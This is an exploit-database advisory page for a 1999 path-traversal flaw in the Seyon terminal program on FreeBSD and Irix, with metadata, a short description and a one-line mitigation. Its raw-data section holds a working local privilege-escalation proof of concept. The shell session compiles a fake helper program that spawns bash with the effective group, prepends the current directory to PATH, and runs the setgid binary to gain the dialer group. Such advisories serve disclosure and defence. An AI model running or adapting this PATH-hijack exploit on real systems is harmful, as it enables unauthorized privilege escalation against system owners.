Seyon Relative Pathname Vulnerability

vendor:

Seyon

by:

jkh

7.2

CVSS

HIGH

Path Traversal

CWE

Product Name: Seyon

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: FreeBSD, Irix

1999

Seyon Relative Pathname Vulnerability

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the privileges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix.

Mitigation:

Ensure that relative pathnames are not used to spawn programs.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/780/info

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the priviliges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix. 

bash-2.03$ uname -a; id; ls -la `which seyon`
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999=
=

jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC i386
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
bash-2.03$ cat > seyonx.c
void main () {
setregid(getegid(), getegid());
system("/usr/local/bin/bash");
}
bash-2.03$ gcc -o seyon-emu seyonx.c
bash-2.03$ PATH=.:$PATH
bash-2.03$ seyon
bash-2.03$ id
uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec)
bash-2.03$